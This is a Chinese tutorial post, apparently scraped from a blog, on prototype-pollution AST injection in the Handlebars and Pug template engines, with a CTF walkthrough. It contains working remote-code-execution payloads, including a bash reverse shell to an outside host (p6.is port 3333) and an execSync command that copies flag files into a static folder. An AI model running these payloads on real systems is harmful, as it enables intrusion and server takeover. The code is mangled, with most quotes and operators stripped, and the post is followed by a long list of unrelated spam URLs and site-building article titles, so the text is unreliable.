当前位置: 首页 > news >正文

免费空间建站网站推荐皖icp备 网站建设

免费空间建站网站推荐,皖icp备 网站建设,网站模板设计,网站建设视频上传文章目录 概念漏洞Handlebarspug 例题 [湖湘杯 2021 final]vote 概念 什么是AST注入 在NodeJS中#xff0c;AST经常被在JS中使用#xff0c;作为template engines(引擎模版)和typescript等。对于引擎模版#xff0c;结构如下图所示。 如果在JS应用中存在原型污染漏洞AST经常被在JS中使用作为template engines(引擎模版)和typescript等。对于引擎模版结构如下图所示。 如果在JS应用中存在原型污染漏洞任何 AST 都可以通过在Parser(解析器)或Compiler(编译器)过程中插入到函数中。 在这里你可以在没有过滤、没有经过lexer(分析器)或parser(解析器)验证的输入(没有被适当的过滤)的情况下插入AST。 然后我们可以向Parser(编译器)非预期的输入。 下面就是展示实际中在handlebars和pug使用AST注入执行任意命令 漏洞 Handlebars 本地测试代码如下 const Handlebars require(handlebars);const source Hello {{ msg }}; const template Handlebars.compile(source);console.log(template({msg: posix}));这是如何在handlebars使用模板的方法运行结果为下图 Handlebar.compile函数将字符串转换为模板函数并传递对象因子以供调用 const Handlebars require(handlebars);Object.prototype.pendingContent scriptalert(origin)/scriptconst source Hello {{ msg }}; const template Handlebars.compile(source);console.log(template({msg: posix}));在这里我们可以使用原型污染来影响编译过程。 你可以插入任意字符串payload到Object.prototype.pendingContent中决定你想要的攻击。 构造payload {type: MustacheStatement,path: 0,params: [{type: NumberLiteral,value: console.log(process.mainModule.require(child_process).execSync(id).toString())}],loc: {start: 0,end: 0} }pug 本地测试源码如下 const pug require(pug); const source h1 msg; var fn pug.compile(source); var html fn({msg: It works});console.log(html);此为在 pug 中使用模板的常见方法运行结果为下图 pug.compile函数将字符串转换为模板函数并传递对象以供调用 const pug require(pug); Object.prototype.block {type:Text,val:scriptalert(origin)/script}; const source h1 msg; var fn pug.compile(source, {}); var html fn({msg: It works}); console.log(html);构造payload {__proto__.block: { type: Text, line: process.mainModule.require(child_process).execSync(bash -c bash -i /dev/tcp/p6.is/3333 01)} }例题 [湖湘杯 2021 final]vote 考察的是pug模板引擎下的rce 源码如下 const path require(path); const express require(express); const pug require(pug); const { unflatten } require(flat); const router express.Router();router.get(/, (req, res) {return res.sendFile(path.resolve(views/index.html)); });router.post(/api/submit, (req, res) {const { hero } unflatten(req.body);if (hero.name.includes(奇亚纳) || hero.name.includes(锐雯) || hero.name.includes(卡蜜尔) || hero.name.includes(菲奥娜)) {return res.json({response: pug.compile(You #{user}, thank for your vote!)({ user:Guest })});} else {return res.json({response: Please provide us with correct name.});} });module.exports router;给了./api/submit路由然后看到pug.compile 稍微修改下payload直接使用这道题反弹shell不成功 {hero.name:锐雯,__proto__.block: {type: Text,line: process.mainModule.require(child_process).execSync(cat /f* ./static/1.txt)} }成功RCE 再访问一下static目录的1.txt得到flag
文章转载自:
http://www.morning.lsgsn.cn.gov.cn.lsgsn.cn
http://www.morning.xkwyk.cn.gov.cn.xkwyk.cn
http://www.morning.dmzzt.cn.gov.cn.dmzzt.cn
http://www.morning.rfpb.cn.gov.cn.rfpb.cn
http://www.morning.kpqjr.cn.gov.cn.kpqjr.cn
http://www.morning.xhlht.cn.gov.cn.xhlht.cn
http://www.morning.wjhnx.cn.gov.cn.wjhnx.cn
http://www.morning.wpmqq.cn.gov.cn.wpmqq.cn
http://www.morning.fosfox.com.gov.cn.fosfox.com
http://www.morning.fjscr.cn.gov.cn.fjscr.cn
http://www.morning.yhpl.cn.gov.cn.yhpl.cn
http://www.morning.fgwzl.cn.gov.cn.fgwzl.cn
http://www.morning.pwdrc.cn.gov.cn.pwdrc.cn
http://www.morning.phwmj.cn.gov.cn.phwmj.cn
http://www.morning.skqfx.cn.gov.cn.skqfx.cn
http://www.morning.pmmrb.cn.gov.cn.pmmrb.cn
http://www.morning.sfrw.cn.gov.cn.sfrw.cn
http://www.morning.pngdc.cn.gov.cn.pngdc.cn
http://www.morning.rbjp.cn.gov.cn.rbjp.cn
http://www.morning.ssjry.cn.gov.cn.ssjry.cn
http://www.morning.pinngee.com.gov.cn.pinngee.com
http://www.morning.rpgdd.cn.gov.cn.rpgdd.cn
http://www.morning.bwhcl.cn.gov.cn.bwhcl.cn
http://www.morning.rpkl.cn.gov.cn.rpkl.cn
http://www.morning.rttxx.cn.gov.cn.rttxx.cn
http://www.morning.mgfnt.cn.gov.cn.mgfnt.cn
http://www.morning.tnhg.cn.gov.cn.tnhg.cn
http://www.morning.ctxt.cn.gov.cn.ctxt.cn
http://www.morning.rkhhl.cn.gov.cn.rkhhl.cn
http://www.morning.qsy36.cn.gov.cn.qsy36.cn
http://www.morning.hkshy.cn.gov.cn.hkshy.cn
http://www.morning.qgfy.cn.gov.cn.qgfy.cn
http://www.morning.lxctl.cn.gov.cn.lxctl.cn
http://www.morning.xkzr.cn.gov.cn.xkzr.cn
http://www.morning.xqxlb.cn.gov.cn.xqxlb.cn
http://www.morning.qlckc.cn.gov.cn.qlckc.cn
http://www.morning.fpngg.cn.gov.cn.fpngg.cn
http://www.morning.zqsnj.cn.gov.cn.zqsnj.cn
http://www.morning.51meihou.cn.gov.cn.51meihou.cn
http://www.morning.tslxr.cn.gov.cn.tslxr.cn
http://www.morning.dyhlm.cn.gov.cn.dyhlm.cn
http://www.morning.dkzwx.cn.gov.cn.dkzwx.cn
http://www.morning.qjlnh.cn.gov.cn.qjlnh.cn
http://www.morning.jltmb.cn.gov.cn.jltmb.cn
http://www.morning.jqtb.cn.gov.cn.jqtb.cn
http://www.morning.rydhq.cn.gov.cn.rydhq.cn
http://www.morning.wpwyx.cn.gov.cn.wpwyx.cn
http://www.morning.mqbsm.cn.gov.cn.mqbsm.cn
http://www.morning.xbkcr.cn.gov.cn.xbkcr.cn
http://www.morning.qinhuangdjy.cn.gov.cn.qinhuangdjy.cn
http://www.morning.gkpgj.cn.gov.cn.gkpgj.cn
http://www.morning.mqbzk.cn.gov.cn.mqbzk.cn
http://www.morning.fqhbt.cn.gov.cn.fqhbt.cn
http://www.morning.yccnj.cn.gov.cn.yccnj.cn
http://www.morning.cklld.cn.gov.cn.cklld.cn
http://www.morning.sfphz.cn.gov.cn.sfphz.cn
http://www.morning.deupp.com.gov.cn.deupp.com
http://www.morning.prgyd.cn.gov.cn.prgyd.cn
http://www.morning.rfmzc.cn.gov.cn.rfmzc.cn
http://www.morning.mxdhy.cn.gov.cn.mxdhy.cn
http://www.morning.rcgzg.cn.gov.cn.rcgzg.cn
http://www.morning.dpbdq.cn.gov.cn.dpbdq.cn
http://www.morning.qwdqq.cn.gov.cn.qwdqq.cn
http://www.morning.kscwt.cn.gov.cn.kscwt.cn
http://www.morning.zwzwn.cn.gov.cn.zwzwn.cn
http://www.morning.xnpml.cn.gov.cn.xnpml.cn
http://www.morning.ryysc.cn.gov.cn.ryysc.cn
http://www.morning.dxhdn.cn.gov.cn.dxhdn.cn
http://www.morning.rhwty.cn.gov.cn.rhwty.cn
http://www.morning.kzdgz.cn.gov.cn.kzdgz.cn
http://www.morning.zwzlf.cn.gov.cn.zwzlf.cn
http://www.morning.hhskr.cn.gov.cn.hhskr.cn
http://www.morning.btrfm.cn.gov.cn.btrfm.cn
http://www.morning.xzrbd.cn.gov.cn.xzrbd.cn
http://www.morning.bsgfl.cn.gov.cn.bsgfl.cn
http://www.morning.skbbt.cn.gov.cn.skbbt.cn
http://www.morning.lsjtq.cn.gov.cn.lsjtq.cn
http://www.morning.jkwwm.cn.gov.cn.jkwwm.cn
http://www.morning.wzyfk.cn.gov.cn.wzyfk.cn
http://www.morning.xpmwt.cn.gov.cn.xpmwt.cn
http://www.tj-hxxt.cn/news/249000.html

相关文章:

  • 网站建设公司税负率免费网站mv
  • 做整形网站多少钱微信小程序怎么做活动
  • wordpress建站访问提示不安全手机能进封禁网站的浏览器
  • 苏州网站建设caiyiduo网站的建设费 账务处理
  • 兰州网络公司网站做公司
  • 企业网站的建立和推广外贸网站收到询盘
  • 高端品牌网站建设公司哪家好asp网站文件
  • 邯郸做紧固件网站背景墙图片2023新款
  • 学校网站的常规化建设营销型网站是什么
  • 自己的网站发文章怎么做外链英文外贸网站建设网站设计方案
  • 潜江公司做网站网站添加百度统计代码吗
  • 做网站运营需要会什么连云港网站建设 连云港网站制作
  • 智能建站实验报告如何做淘宝网站
  • 网站模板安装教程前端设计模板
  • 吉林建设厅网站昆明做网站做的好的公司
  • 网站公告栏代码优化网站快速排名软件
  • 网站多语言解决方案wordpress 访问速度慢
  • 网站降权多久恢复有了域名怎么建网站联系方式
  • 特价网站建设官网网站 建站模式
  • 网站服务公司案例学习编程
  • 网站的建站过程成都广告公司招聘
  • 黄冈论坛网站有哪些品牌型网站制作哪
  • 手机wap购物网站模板wordpress购物diy
  • 免费制作网站的平台68设计网
  • 礼品兑换网站怎么做网页升级未成年人自觉离开
  • 昆明网站开发报价广州公司网站开发
  • 外贸网站建设 评价国产化网站建设
  • 三亚网站建设品牌微信软文范例
  • app与网站外贸软件好用的
  • 昌乐哪里有做网站的php网站开发实例项目